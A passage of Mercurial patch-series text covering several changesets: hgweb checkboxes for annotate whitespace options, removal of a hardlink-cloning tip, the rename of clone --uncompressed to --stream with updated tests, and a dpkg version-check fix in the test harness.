+    "author": "test",
+    "children": [],
+    "date": [
+      0.0,
+      0
+    ],
+    "desc": "commit 6 (add another blank line between line 0 and 1)",
+    "node": "9d1b2c7db0175870a950f8c48c9c4ead1058f2c5",
+    "parents": [
+      "400ef1d404706cfb48afd2b78ce6addf641ced25"
+    ],
+    "permissions": ""
+  }
+
+ignorewseol=1 query string enables whitespace end of line skipping
 
   $ get-with-headers.py --json $LOCALIP:$HGPORT 'json-annotate/9d1b2c7db017/foo?ignorewseol=1'
   200 Script output follows
@@ -661,10 +661,10 @@
       {
         "abspath": "foo",
         "author": "test",
-        "desc": "commit 3 (trailing whitespace on line 3)",
+        "desc": "commit 0",
         "line": "line 3    \n",
         "lineno": 6,
-        "node": "dcb62cfbfc9b3ab995a5cbbaff6e1971c3e4f865",
+        "node": "b9c578134d72b3a9d26afde8ddd76c0a93c5adbc",
         "revdate": [
           0.0,
           0
@@ -686,7 +686,7 @@
     "permissions": ""
   }
 
-ignoreblanklines=1 query string enables whitespace blank line skipping (not implemented)
+ignoreblanklines=1 query string enables whitespace blank line skipping
 
   $ get-with-headers.py --json $LOCALIP:$HGPORT 'json-annotate/9d1b2c7db017/foo?ignoreblanklines=1'
   200 Script output follows
# HG changeset patch
# User Gregory Szorc <gregory.szorc@gmail.com>
# Date 1506758496 -3600
#      Sat Sep 30 09:01:36 2017 +0100
# Node ID 6797f1fbc6426c7ee691f3ee21610d33e4825c61
# Parent  f6492f482c60d486e9bdcd9346c5581ed20d5799
hgweb: add HTML elements to control whitespace settings for annotate

Building on top of the new URL query string arguments to control
whitespace settings for annotate, this commit adds HTML checkboxes
reflecting the values of these arguments to the paper and gitweb
themes.

The actual diff settings are now exported to the templating layer.
The HTML templates add these as data-* attributes so they are
accessible to the DOM.

A new <form> with various <input> elements is added. The <form>
is initially hidden via CSS. A shared JavaScript function (which
runs after the <form> has been rendered but before the annotate
HTML (because annotate HTML could take a while to load and we want
the form to render quickly) takes care of setting the checked state
of each box from the data-* attributes. It also registers an event
handler to modify the URL and refresh the page whenever the checkbox
state is changed.

I'm using the URLSearchParams interface to perform URL manipulation.
https://developer.mozilla.org/en-US/docs/Web/API/URLSearchParams tells
me this may not be supported on older web browsers. Yes, apparently
the web API didn't have a standard API to parse and format query
strings until recently. Hence the check for the presence of this
feature in the JavaScript. If the browser doesn't support the
feature, the <form> will remain hidden and behavior will like it
currently is. We could polyfill this feature or implement our own
query string parsing. But I'm lazy and this could be done as a
follow-up if people miss it.

We could certainly expand this feature to support more diff options
(such as lines of context). That's why the potentially reusable code
is stored in a reusable place. It is also certainly possible to
add diff controls to other pages that display diffs. But since
Mozillians are making noise about controlling which revisions
annotate shows, I figured I'd start there.

.. feature::

   Control whitespace settings for annotation on hgweb

   /annotate URLs on hgweb now accept query string arguments to
   influence how whitespace changes impact results.

   The arguments "ignorews," "ignorewsamount," "ignorewseol," and
   "ignoreblanklines" now have the same meaning as their [annotate]
   config section counterparts. Any provided setting overrides the
   server default.

   HTML checkboxes have been added to the paper and gitweb themes
   to expose current whitespace settings and to easily modify the
   current view.

Differential Revision: https://phab.mercurial-scm.org/D850

diff --git a/mercurial/hgweb/webcommands.py b/mercurial/hgweb/webcommands.py
--- a/mercurial/hgweb/webcommands.py
+++ b/mercurial/hgweb/webcommands.py
@@ -930,6 +930,9 @@
                    "linenumber": "% 6d" % (lineno + 1),
                    "revdate": f.date()}
 
+    diffopts = webutil.difffeatureopts(req, web.repo.ui, 'annotate')
+    diffopts = {k: getattr(diffopts, k) for k in diffopts.defaults}
+
     return tmpl("fileannotate",
                 file=f,
                 annotate=annotate,
@@ -938,6 +941,7 @@
                 rename=webutil.renamelink(fctx),
                 permissions=fctx.manifest().flags(f),
                 ishead=int(ishead),
+                diffopts=diffopts,
                 **webutil.commonentry(web.repo, fctx))
 
 @webcommand('filelog')
diff --git a/mercurial/templates/gitweb/fileannotate.tmpl b/mercurial/templates/gitweb/fileannotate.tmpl
--- a/mercurial/templates/gitweb/fileannotate.tmpl
+++ b/mercurial/templates/gitweb/fileannotate.tmpl
@@ -62,6 +62,13 @@
 </div>
 
 <div class="page_path description">{desc|strip|escape|websub|nonempty}</div>
+
+{diffoptsform}
+
+<script type="text/javascript"{if(nonce, ' nonce="{nonce}"')}>
+    renderDiffOptsForm();
+</script>
+
 <div class="page_body">
 <table>
 <tbody class="sourcelines"
diff --git a/mercurial/templates/gitweb/map b/mercurial/templates/gitweb/map
--- a/mercurial/templates/gitweb/map
+++ b/mercurial/templates/gitweb/map
@@ -334,3 +334,19 @@
   </div>'
 searchhint = 'Find changesets by keywords (author, files, the commit message), revision
   number or hash, or <a href="{url|urlescape}help/revsets">revset expression</a>.'
+
+diffoptsform = '
+  <form id="diffopts-form"
+    data-ignorews="{if(get(diffopts, 'ignorews'), '1', '0')}"
+    data-ignorewsamount="{if(get(diffopts, 'ignorewsamount'), '1', '0')}"
+    data-ignorewseol="{if(get(diffopts, 'ignorewseol'), '1', '0')}"
+    data-ignoreblanklines="{if(get(diffopts, 'ignoreblanklines'), '1', '0')}">
+    <span>Ignore whitespace changes - </span>
+    <span>Everywhere:</span>
+    <input id="ignorews-checkbox" type="checkbox" />
+    <span>Within whitespace:</span>
+    <input id="ignorewsamount-checkbox" type="checkbox" />
+    <span>At end of lines:</span>
+    <input id="ignorewseol-checkbox" type="checkbox" />
+  </form>
+  </div>'
diff --git a/mercurial/templates/paper/fileannotate.tmpl b/mercurial/templates/paper/fileannotate.tmpl
--- a/mercurial/templates/paper/fileannotate.tmpl
+++ b/mercurial/templates/paper/fileannotate.tmpl
@@ -65,6 +65,12 @@
 </tr>
 </table>
 
+{diffoptsform}
+
+<script type="text/javascript"{if(nonce, ' nonce="{nonce}"')}>
+    renderDiffOptsForm();
+</script>
+
 <div class="overflow">
 <table class="bigtable">
 <thead>
diff --git a/mercurial/templates/paper/map b/mercurial/templates/paper/map
--- a/mercurial/templates/paper/map
+++ b/mercurial/templates/paper/map
@@ -251,3 +251,18 @@
   </form>'
 searchhint = 'Find changesets by keywords (author, files, the commit message), revision
   number or hash, or <a href="{url|urlescape}help/revsets">revset expression</a>.'
+
+diffoptsform = '
+  <form id="diffopts-form"
+    data-ignorews="{if(get(diffopts, 'ignorews'), '1', '0')}"
+    data-ignorewsamount="{if(get(diffopts, 'ignorewsamount'), '1', '0')}"
+    data-ignorewseol="{if(get(diffopts, 'ignorewseol'), '1', '0')}"
+    data-ignoreblanklines="{if(get(diffopts, 'ignoreblanklines'), '1', '0')}">
+    <span>Ignore whitespace changes - </span>
+    <span>Everywhere:</span>
+    <input id="ignorews-checkbox" type="checkbox" />
+    <span>Within whitespace:</span>
+    <input id="ignorewsamount-checkbox" type="checkbox" />
+    <span>At end of lines:</span>
+    <input id="ignorewseol-checkbox" type="checkbox" />
+  </form>'
diff --git a/mercurial/templates/static/mercurial.js b/mercurial/templates/static/mercurial.js
--- a/mercurial/templates/static/mercurial.js
+++ b/mercurial/templates/static/mercurial.js
@@ -434,6 +434,56 @@
     scrollHandler();
 }
 
+function renderDiffOptsForm() {
+    // We use URLSearchParams for query string manipulation. Old browsers don't
+    // support this API.
+    if (!("URLSearchParams" in window)) {
+        return;
+    }
+
+    var form = document.getElementById("diffopts-form");
+
+    var KEYS = [
+        "ignorews",
+        "ignorewsamount",
+        "ignorewseol",
+        "ignoreblanklines",
+    ];
+
+    var urlParams = new URLSearchParams(window.location.search);
+
+    function updateAndRefresh(e) {
+        var checkbox = e.target;
+        var name = checkbox.id.substr(0, checkbox.id.indexOf("-"));
+        urlParams.set(name, checkbox.checked ? "1" : "0");
+        window.location.search = urlParams.toString();
+    }
+
+    var allChecked = form.getAttribute("data-ignorews") == "1";
+
+    for (var i = 0; i < KEYS.length; i++) {
+        var key = KEYS[i];
+
+        var checkbox = document.getElementById(key + "-checkbox");
+        if (!checkbox) {
+            continue;
+        }
+
+        currentValue = form.getAttribute("data-" + key);
+        checkbox.checked = currentValue != "0";
+
+        // ignorews implies ignorewsamount and ignorewseol.
+        if (allChecked && (key == "ignorewsamount" || key == "ignorewseol")) {
+            checkbox.checked = true;
+            checkbox.disabled = true;
+        }
+
+        checkbox.addEventListener("change", updateAndRefresh, false);
+    }
+
+    form.style.display = 'block';
+}
+
 document.addEventListener('DOMContentLoaded', function() {
    process_dates();
 }, false);
diff --git a/mercurial/templates/static/style-gitweb.css b/mercurial/templates/static/style-gitweb.css
--- a/mercurial/templates/static/style-gitweb.css
+++ b/mercurial/templates/static/style-gitweb.css
@@ -97,6 +97,12 @@
 }
 div.annotate-info a { color: #0000FF; text-decoration: underline; }
 td.annotate:hover div.annotate-info { display: inline; }
+
+#diffopts-form {
+  padding-left: 8px;
+  display: none;
+}
+
 .linenr { color:#999999; text-decoration:none }
 div.rss_logo { float: right; white-space: nowrap; }
 div.rss_logo a {
diff --git a/mercurial/templates/static/style-paper.css b/mercurial/templates/static/style-paper.css
--- a/mercurial/templates/static/style-paper.css
+++ b/mercurial/templates/static/style-paper.css
@@ -226,6 +226,13 @@
 div.annotate-info a { color: #0000FF; }
 td.annotate:hover div.annotate-info { display: inline; }
 
+#diffopts-form {
+  font-size: smaller;
+  color: #424242;
+  padding-bottom: 10px;
+  display: none;
+}
+
 .source, .sourcefirst {
   font-family: monospace;
   white-space: pre;
diff --git a/tests/test-hgweb.t b/tests/test-hgweb.t
--- a/tests/test-hgweb.t
+++ b/tests/test-hgweb.t
@@ -340,7 +340,7 @@
 
   $ get-with-headers.py --twice localhost:$HGPORT 'static/style-gitweb.css' - date etag server
   200 Script output follows
-  content-length: 9007
+  content-length: 9066
   content-type: text/css
   
   body { font-family: sans-serif; font-size: 12px; border:solid #d9d8d1; border-width:1px; margin:10px; background: white; color: black; }
@@ -442,6 +442,12 @@
   }
   div.annotate-info a { color: #0000FF; text-decoration: underline; }
   td.annotate:hover div.annotate-info { display: inline; }
+  
+  #diffopts-form {
+    padding-left: 8px;
+    display: none;
+  }
+  
   .linenr { color:#999999; text-decoration:none }
   div.rss_logo { float: right; white-space: nowrap; }
   div.rss_logo a {
diff --git a/tests/test-highlight.t b/tests/test-highlight.t
--- a/tests/test-highlight.t
+++ b/tests/test-highlight.t
@@ -284,6 +284,25 @@
   </tr>
   </table>
   
+  
+  <form id="diffopts-form"
+  data-ignorews="0"
+  data-ignorewsamount="0"
+  data-ignorewseol="0"
+  data-ignoreblanklines="0">
+  <span>Ignore whitespace changes - </span>
+  <span>Everywhere:</span>
+  <input id="ignorews-checkbox" type="checkbox" />
+  <span>Within whitespace:</span>
+  <input id="ignorewsamount-checkbox" type="checkbox" />
+  <span>At end of lines:</span>
+  <input id="ignorewseol-checkbox" type="checkbox" />
+  </form>
+  
+  <script type="text/javascript">
+      renderDiffOptsForm();
+  </script>
+  
   <div class="overflow">
   <table class="bigtable">
   <thead>
# HG changeset patch
# User Gregory Szorc <gregory.szorc@gmail.com>
# Date 1506849431 -3600
#      Sun Oct 01 10:17:11 2017 +0100
# Node ID aea6344e989b500b6635dcb36ea8fb785a4de11c
# Parent  6797f1fbc6426c7ee691f3ee21610d33e4825c61
commands: remove suggestion to clone via `cp -al`

This was added in 2df98f616645 in 2006. This may be possible but it
seems like a bad idea to even suggest it.

Differential Revision: https://phab.mercurial-scm.org/D863

diff --git a/mercurial/commands.py b/mercurial/commands.py
--- a/mercurial/commands.py
+++ b/mercurial/commands.py
@@ -1339,18 +1339,6 @@
       incorrectly, but do not report errors. In these cases, use the
       --pull option to avoid hardlinking.
 
-      In some cases, you can clone repositories and the working
-      directory using full hardlinks with ::
-
-        $ cp -al REPO REPOCLONE
-
-      This is the fastest way to clone, but it is not always safe. The
-      operation is not atomic (making sure REPO is not modified during
-      the operation is up to you) and you have to make sure your
-      editor breaks hardlinks (Emacs and most Linux Kernel tools do
-      so). Also, this is not compatible with certain extensions that
-      place their metadata under the .hg directory, such as mq.
-
       Mercurial will update the working directory to the first applicable
       revision from this list:
 
# HG changeset patch
# User Gregory Szorc <gregory.szorc@gmail.com>
# Date 1506853760 -3600
#      Sun Oct 01 11:29:20 2017 +0100
# Node ID fffd3369aa83984fc6c8c53597b858e76c1d283b
# Parent  aea6344e989b500b6635dcb36ea8fb785a4de11c
commands: rename clone --uncompressed to --stream and document

--uncompressed isn't a very good name and its description in the
help documentation isn't very useful. We refer to this concept as
"stream clones" in a number of places. I think it makes sense to
change the user-facing argument to use the mode --stream. So this
commit does that.

We keep --uncompressed around for backwards compatibility.

While we're here, we overhaul the help docs for streaming clones
to be somewhat useful.

All tests have been updated to reflect the new preferred --stream
argument. A test for backwards compatibility of --uncompressed has
been added.

.. bc::

   `hg clone --stream` should now be used instead of --uncompressed.

   --uncompressed is marked as deprecated and is an alias for --stream.
   There is no schedule for elimination of --uncompressed.

Differential Revision: https://phab.mercurial-scm.org/D864

diff --git a/mercurial/commands.py b/mercurial/commands.py
--- a/mercurial/commands.py
+++ b/mercurial/commands.py
@@ -1294,7 +1294,10 @@
     ('r', 'rev', [], _('include the specified changeset'), _('REV')),
     ('b', 'branch', [], _('clone only the specified branch'), _('BRANCH')),
     ('', 'pull', None, _('use pull protocol to copy metadata')),
-    ('', 'uncompressed', None, _('use uncompressed transfer (fast over LAN)')),
+    ('', 'uncompressed', None,
+       _('an alias to --stream (DEPRECATED)')),
+    ('', 'stream', None,
+       _('clone with minimal data processing')),
     ] + remoteopts,
     _('[OPTION]... SOURCE [DEST]'),
     norepo=True)
@@ -1325,6 +1328,19 @@
     their ancestors. These options (or 'clone src#rev dest') imply
     --pull, even for local source repositories.
 
+    In normal clone mode, the remote normalizes repository data into a common
+    exchange format and the receiving end translates this data into its local
+    storage format. --stream activates a different clone mode that essentially
+    copies repository files from the remote with minimal data processing. This
+    significantly reduces the CPU cost of a clone both remotely and locally.
+    However, it often increases the transferred data size by 30-40%. This can
+    result in substantially faster clones where I/O throughput is plentiful,
+    especially for larger repositories. A side-effect of --stream clones is
+    that storage settings and requirements on the remote are applied locally:
+    a modern client may inherit legacy or inefficient storage used by the
+    remote or a legacy Mercurial client may not be able to clone from a
+    modern Mercurial remote.
+
     .. note::
 
        Specifying a tag will include the tagged changeset but not the
@@ -1376,10 +1392,9 @@
 
           hg clone ssh://user@server//home/projects/alpha/
 
-      - do a high-speed clone over a LAN while checking out a
-        specified version::
-
-          hg clone --uncompressed http://server/repo -u 1.5
+      - do a streaming clone while checking out a specified version::
+
+          hg clone --stream http://server/repo -u 1.5
 
       - create a repository without changesets after a particular revision::
 
@@ -1399,7 +1414,7 @@
 
     r = hg.clone(ui, opts, source, dest,
                  pull=opts.get('pull'),
-                 stream=opts.get('uncompressed'),
+                 stream=opts.get('stream') or opts.get('uncompressed'),
                  rev=opts.get('rev'),
                  update=opts.get('updaterev') or not opts.get('noupdate'),
                  branch=opts.get('branch'),
diff --git a/mercurial/help/internals/wireprotocol.txt b/mercurial/help/internals/wireprotocol.txt
--- a/mercurial/help/internals/wireprotocol.txt
+++ b/mercurial/help/internals/wireprotocol.txt
@@ -394,7 +394,7 @@
 ----------------
 
 If present the server prefers that clients clone using the streaming clone
-protocol (``hg clone --uncompressed``) rather than the standard
+protocol (``hg clone --stream``) rather than the standard
 changegroup/bundle based protocol.
 
 This capability was introduced in Mercurial 2.2 (released May 2012).
diff --git a/tests/test-clone-uncompressed.t b/tests/test-clone-uncompressed.t
--- a/tests/test-clone-uncompressed.t
+++ b/tests/test-clone-uncompressed.t
@@ -18,7 +18,16 @@
 
 Basic clone
 
-  $ hg clone --uncompressed -U http://localhost:$HGPORT clone1
+  $ hg clone --stream -U http://localhost:$HGPORT clone1
+  streaming all changes
+  1027 files to transfer, 96.3 KB of data
+  transferred 96.3 KB in * seconds (*/sec) (glob)
+  searching for changes
+  no changes found
+
+--uncompressed is an alias to --stream
+
+  $ hg clone --uncompressed -U http://localhost:$HGPORT clone1-uncompressed
   streaming all changes
   1027 files to transfer, 96.3 KB of data
   transferred 96.3 KB in * seconds (*/sec) (glob)
@@ -27,7 +36,7 @@
 
 Clone with background file closing enabled
 
-  $ hg --debug --config worker.backgroundclose=true --config worker.backgroundcloseminfilecount=1 clone --uncompressed -U http://localhost:$HGPORT clone-background | grep -v adding
+  $ hg --debug --config worker.backgroundclose=true --config worker.backgroundcloseminfilecount=1 clone --stream -U http://localhost:$HGPORT clone-background | grep -v adding
   using http://localhost:$HGPORT/
   sending capabilities command
   sending branchmap command
@@ -52,7 +61,7 @@
 Cannot stream clone when there are secret changesets
 
   $ hg -R server phase --force --secret -r tip
-  $ hg clone --uncompressed -U http://localhost:$HGPORT secret-denied
+  $ hg clone --stream -U http://localhost:$HGPORT secret-denied
   warning: stream clone requested but server has them disabled
   requesting all changes
   adding changesets
@@ -69,7 +78,7 @@
   $ cat hg.pid > $DAEMON_PIDS
   $ cd ..
 
-  $ hg clone --uncompressed -U http://localhost:$HGPORT secret-allowed
+  $ hg clone --stream -U http://localhost:$HGPORT secret-allowed
   streaming all changes
   1027 files to transfer, 96.3 KB of data
   transferred 96.3 KB in * seconds (*/sec) (glob)
@@ -101,7 +110,7 @@
   $ cat hg.pid > $DAEMON_PIDS
   $ cd ..
 
-  $ hg clone --uncompressed http://localhost:$HGPORT secret-full-disabled
+  $ hg clone --stream http://localhost:$HGPORT secret-full-disabled
   warning: stream clone requested but server has them disabled
   requesting all changes
   remote: abort: server has pull-based clones disabled
@@ -113,7 +122,7 @@
 (This is just a test over behavior: if you have access to the repo's files,
 there is no security so it isn't important to prevent a clone here.)
 
-  $ hg clone -U --uncompressed server local-secret
+  $ hg clone -U --stream server local-secret
   warning: stream clone requested but server has them disabled
   requesting all changes
   adding changesets
@@ -151,7 +160,7 @@
 clone while modifying the repo between stating file with write lock and
 actually serving file content
 
-  $ hg clone -q --uncompressed -U http://localhost:$HGPORT1 clone &
+  $ hg clone -q --stream -U http://localhost:$HGPORT1 clone &
   $ sleep 1
   $ echo >> repo/f1
   $ echo >> repo/f2
diff --git a/tests/test-clonebundles.t b/tests/test-clonebundles.t
--- a/tests/test-clonebundles.t
+++ b/tests/test-clonebundles.t
@@ -432,7 +432,7 @@
   searching for changes
   no changes found
 
-Test interaction between clone bundles and --uncompressed
+Test interaction between clone bundles and --stream
 
 A manifest with just a gzip bundle
 
@@ -440,7 +440,7 @@
   > http://localhost:$HGPORT1/gz-a.hg BUNDLESPEC=gzip-v2
   > EOF
 
-  $ hg clone -U --uncompressed http://localhost:$HGPORT uncompressed-gzip
+  $ hg clone -U --stream http://localhost:$HGPORT uncompressed-gzip
   no compatible clone bundles available on server; falling back to regular clone
   (you may want to report this to the server operator)
   streaming all changes
@@ -455,7 +455,7 @@
   > http://localhost:$HGPORT1/packed.hg
   > EOF
 
-  $ hg clone -U --uncompressed http://localhost:$HGPORT uncompressed-no-bundlespec
+  $ hg clone -U --stream http://localhost:$HGPORT uncompressed-no-bundlespec
   no compatible clone bundles available on server; falling back to regular clone
   (you may want to report this to the server operator)
   streaming all changes
@@ -471,7 +471,7 @@
   > http://localhost:$HGPORT1/packed.hg BUNDLESPEC=none-packed1
   > EOF
 
-  $ hg clone -U --uncompressed http://localhost:$HGPORT uncompressed-gzip-packed
+  $ hg clone -U --stream http://localhost:$HGPORT uncompressed-gzip-packed
   applying clone bundle from http://localhost:$HGPORT1/packed.hg
   4 files to transfer, 613 bytes of data
   transferred 613 bytes in * seconds (*) (glob)
@@ -486,7 +486,7 @@
   > http://localhost:$HGPORT1/packed.hg BUNDLESPEC=none-packed1;requirements%3Drevlogv1
   > EOF
 
-  $ hg clone -U --uncompressed http://localhost:$HGPORT uncompressed-gzip-packed-requirements
+  $ hg clone -U --stream http://localhost:$HGPORT uncompressed-gzip-packed-requirements
   applying clone bundle from http://localhost:$HGPORT1/packed.hg
   4 files to transfer, 613 bytes of data
   transferred 613 bytes in * seconds (*) (glob)
@@ -501,7 +501,7 @@
   > http://localhost:$HGPORT1/packed.hg BUNDLESPEC=none-packed1;requirements%3Drevlogv42
   > EOF
 
-  $ hg clone -U --uncompressed http://localhost:$HGPORT uncompressed-gzip-packed-unsupported-requirements
+  $ hg clone -U --stream http://localhost:$HGPORT uncompressed-gzip-packed-unsupported-requirements
   no compatible clone bundles available on server; falling back to regular clone
   (you may want to report this to the server operator)
   streaming all changes
diff --git a/tests/test-completion.t b/tests/test-completion.t
--- a/tests/test-completion.t
+++ b/tests/test-completion.t
@@ -219,7 +219,7 @@
   $ hg debugcommands
   add: include, exclude, subrepos, dry-run
   annotate: rev, follow, no-follow, text, user, file, date, number, changeset, line-number, skip, ignore-all-space, ignore-space-change, ignore-blank-lines, ignore-space-at-eol, include, exclude, template
-  clone: noupdate, updaterev, rev, branch, pull, uncompressed, ssh, remotecmd, insecure
+  clone: noupdate, updaterev, rev, branch, pull, uncompressed, stream, ssh, remotecmd, insecure
   commit: addremove, close-branch, amend, secret, edit, interactive, include, exclude, message, logfile, date, user, subrepos
   diff: rev, change, text, git, binary, nodates, noprefix, show-function, reverse, ignore-all-space, ignore-space-change, ignore-blank-lines, ignore-space-at-eol, unified, stat, root, include, exclude, subrepos
   export: output, switch-parent, rev, text, git, binary, nodates
diff --git a/tests/test-http-bundle1.t b/tests/test-http-bundle1.t
--- a/tests/test-http-bundle1.t
+++ b/tests/test-http-bundle1.t
@@ -40,7 +40,7 @@
 
 clone via stream
 
-  $ hg clone --uncompressed http://localhost:$HGPORT/ copy 2>&1
+  $ hg clone --stream http://localhost:$HGPORT/ copy 2>&1
   streaming all changes
   6 files to transfer, 606 bytes of data
   transferred * bytes in * seconds (*/sec) (glob)
@@ -57,7 +57,7 @@
 
 try to clone via stream, should use pull instead
 
-  $ hg clone --uncompressed http://localhost:$HGPORT1/ copy2
+  $ hg clone --stream http://localhost:$HGPORT1/ copy2
   warning: stream clone requested but server has them disabled
   requesting all changes
   adding changesets
@@ -75,7 +75,7 @@
   >     localrepo.localrepository.supportedformats.remove('generaldelta')
   > EOF
 
-  $ hg clone --config extensions.rsf=$TESTTMP/removesupportedformat.py --uncompressed http://localhost:$HGPORT/ copy3
+  $ hg clone --config extensions.rsf=$TESTTMP/removesupportedformat.py --stream http://localhost:$HGPORT/ copy3
   warning: stream clone requested but client is missing requirements: generaldelta
   (see https://www.mercurial-scm.org/wiki/MissingRequirement for more information)
   requesting all changes
@@ -378,7 +378,7 @@
 
 ... but keep stream clones working
 
-  $ hg clone --uncompressed --noupdate http://localhost:$HGPORT1/ test-stream-clone
+  $ hg clone --stream --noupdate http://localhost:$HGPORT1/ test-stream-clone
   streaming all changes
   * files to transfer, * of data (glob)
   transferred * in * seconds (* KB/sec) (glob)
diff --git a/tests/test-http-proxy.t b/tests/test-http-proxy.t
--- a/tests/test-http-proxy.t
+++ b/tests/test-http-proxy.t
@@ -14,7 +14,7 @@
 
 url for proxy, stream
 
-  $ http_proxy=http://localhost:$HGPORT1/ hg --config http_proxy.always=True clone --uncompressed http://localhost:$HGPORT/ b
+  $ http_proxy=http://localhost:$HGPORT1/ hg --config http_proxy.always=True clone --stream http://localhost:$HGPORT/ b
   streaming all changes
   3 files to transfer, 303 bytes of data
   transferred * bytes in * seconds (*/sec) (glob)
diff --git a/tests/test-http.t b/tests/test-http.t
--- a/tests/test-http.t
+++ b/tests/test-http.t
@@ -31,7 +31,7 @@
 
 clone via stream
 
-  $ hg clone --uncompressed http://localhost:$HGPORT/ copy 2>&1
+  $ hg clone --stream http://localhost:$HGPORT/ copy 2>&1
   streaming all changes
   6 files to transfer, 606 bytes of data
   transferred * bytes in * seconds (*/sec) (glob)
@@ -48,7 +48,7 @@
 
 try to clone via stream, should use pull instead
 
-  $ hg clone --uncompressed http://localhost:$HGPORT1/ copy2
+  $ hg clone --stream http://localhost:$HGPORT1/ copy2
   warning: stream clone requested but server has them disabled
   requesting all changes
   adding changesets
@@ -66,7 +66,7 @@
   >     localrepo.localrepository.supportedformats.remove('generaldelta')
   > EOF
 
-  $ hg clone --config extensions.rsf=$TESTTMP/removesupportedformat.py --uncompressed http://localhost:$HGPORT/ copy3
+  $ hg clone --config extensions.rsf=$TESTTMP/removesupportedformat.py --stream http://localhost:$HGPORT/ copy3
   warning: stream clone requested but client is missing requirements: generaldelta
   (see https://www.mercurial-scm.org/wiki/MissingRequirement for more information)
   requesting all changes
@@ -367,7 +367,7 @@
 
 ... but keep stream clones working
 
-  $ hg clone --uncompressed --noupdate http://localhost:$HGPORT1/ test-stream-clone
+  $ hg clone --stream --noupdate http://localhost:$HGPORT1/ test-stream-clone
   streaming all changes
   * files to transfer, * of data (glob)
   transferred * in * seconds (*/sec) (glob)
diff --git a/tests/test-ssh-bundle1.t b/tests/test-ssh-bundle1.t
--- a/tests/test-ssh-bundle1.t
+++ b/tests/test-ssh-bundle1.t
@@ -58,7 +58,7 @@
 
 clone remote via stream
 
-  $ hg clone -e "\"$PYTHON\" \"$TESTDIR/dummyssh\"" --uncompressed ssh://user@dummy/remote local-stream
+  $ hg clone -e "\"$PYTHON\" \"$TESTDIR/dummyssh\"" --stream ssh://user@dummy/remote local-stream
   streaming all changes
   4 files to transfer, 602 bytes of data
   transferred 602 bytes in * seconds (*) (glob)
@@ -80,7 +80,7 @@
 clone bookmarks via stream
 
   $ hg -R local-stream book mybook
-  $ hg clone -e "\"$PYTHON\" \"$TESTDIR/dummyssh\"" --uncompressed ssh://user@dummy/local-stream stream2
+  $ hg clone -e "\"$PYTHON\" \"$TESTDIR/dummyssh\"" --stream ssh://user@dummy/local-stream stream2
   streaming all changes
   4 files to transfer, 602 bytes of data
   transferred 602 bytes in * seconds (*) (glob)
diff --git a/tests/test-ssh-clone-r.t b/tests/test-ssh-clone-r.t
--- a/tests/test-ssh-clone-r.t
+++ b/tests/test-ssh-clone-r.t
@@ -17,7 +17,7 @@
 clone remote via stream
 
   $ for i in 0 1 2 3 4 5 6 7 8; do
-  >    hg clone -e "\"$PYTHON\" \"$TESTDIR/dummyssh\"" --uncompressed -r "$i" ssh://user@dummy/remote test-"$i"
+  >    hg clone -e "\"$PYTHON\" \"$TESTDIR/dummyssh\"" --stream -r "$i" ssh://user@dummy/remote test-"$i"
   >    if cd test-"$i"; then
   >       hg verify
   >       cd ..
diff --git a/tests/test-ssh.t b/tests/test-ssh.t
--- a/tests/test-ssh.t
+++ b/tests/test-ssh.t
@@ -52,7 +52,7 @@
 
 clone remote via stream
 
-  $ hg clone -e "\"$PYTHON\" \"$TESTDIR/dummyssh\"" --uncompressed ssh://user@dummy/remote local-stream
+  $ hg clone -e "\"$PYTHON\" \"$TESTDIR/dummyssh\"" --stream ssh://user@dummy/remote local-stream
   streaming all changes
   4 files to transfer, 602 bytes of data
   transferred 602 bytes in * seconds (*) (glob)
@@ -74,7 +74,7 @@
 clone bookmarks via stream
 
   $ hg -R local-stream book mybook
-  $ hg clone -e "\"$PYTHON\" \"$TESTDIR/dummyssh\"" --uncompressed ssh://user@dummy/local-stream stream2
+  $ hg clone -e "\"$PYTHON\" \"$TESTDIR/dummyssh\"" --stream ssh://user@dummy/local-stream stream2
   streaming all changes
   4 files to transfer, 602 bytes of data
   transferred 602 bytes in * seconds (*) (glob)
diff --git a/tests/test-treemanifest.t b/tests/test-treemanifest.t
--- a/tests/test-treemanifest.t
+++ b/tests/test-treemanifest.t
@@ -756,7 +756,7 @@
   8 files, 4 changesets, 18 total revisions
 
 Stream clone with basicstore
-  $ hg clone --config experimental.changegroup3=True --uncompressed -U \
+  $ hg clone --config experimental.changegroup3=True --stream -U \
   >   http://localhost:$HGPORT1 stream-clone-basicstore
   streaming all changes
   18 files to transfer, * of data (glob)
@@ -772,7 +772,7 @@
   8 files, 4 changesets, 18 total revisions
 
 Stream clone with encodedstore
-  $ hg clone --config experimental.changegroup3=True --uncompressed -U \
+  $ hg clone --config experimental.changegroup3=True --stream -U \
   >   http://localhost:$HGPORT2 stream-clone-encodedstore
   streaming all changes
   18 files to transfer, * of data (glob)
@@ -788,7 +788,7 @@
   8 files, 4 changesets, 18 total revisions
 
 Stream clone with fncachestore
-  $ hg clone --config experimental.changegroup3=True --uncompressed -U \
+  $ hg clone --config experimental.changegroup3=True --stream -U \
   >   http://localhost:$HGPORT stream-clone-fncachestore
   streaming all changes
   18 files to transfer, * of data (glob)
# HG changeset patch
# User Kyle Lippincott <spectral@google.com>
# Date 1506854908 25200
#      Sun Oct 01 03:48:28 2017 -0700
# Node ID dbf83230e8bebc998a1f08a414d757bc32487d39
# Parent  fffd3369aa83984fc6c8c53597b858e76c1d283b
hghave: fix dpkg --version check to work on recent dpkg versions

Differential Revision: https://phab.mercurial-scm.org/D869

diff --git a/tests/hghave.py b/tests/hghave.py
--- a/tests/hghave.py
+++ b/tests/hghave.py
@@ -573,8 +573,10 @@
 
 @check("debhelper", "debian packaging tools")
 def has_debhelper():
+    # Some versions of dpkg say `dpkg', some say 'dpkg' (` vs ' on the first
+    # quote), so just accept anything in that spot.
     dpkg = matchoutput('dpkg --version',
-                       br"Debian `dpkg' package management program")
+                       br"Debian .dpkg' package management program")
     dh = matchoutput('dh --help',
                      br'dh is a part of debhelper.', ignorestatus=True)
     dh_py2 = matchoutput('dh_python2 --help',
# HG changeset patch
# User Siddharth Agarwal <sid0@fb.com>
# Date 1506853459 25200
#      Sun Oct 01 03:24:19 2017 -0700
# Node ID 41401f502c835c303a048311bfff29226f4f93f7
# Parent  dbf83230e8bebc998a1f08a414d757bc32487d39
tests: disable lints on mercurial/thirdparty

In the next patch, this directory will be used to vendor in some third-party
code.

Differential Revision: https://phab.mercurial-scm.org/D866

diff --git a/contrib/import-checker.py b/contrib/import-checker.py
--- a/contrib/import-checker.py
+++ b/contrib/import-checker.py
@@ -35,6 +35,8 @@
     'mercurial.pure.mpatch',
     'mercurial.pure.osutil',
     'mercurial.pure.parsers',
+    # third-party imports should be directly imported
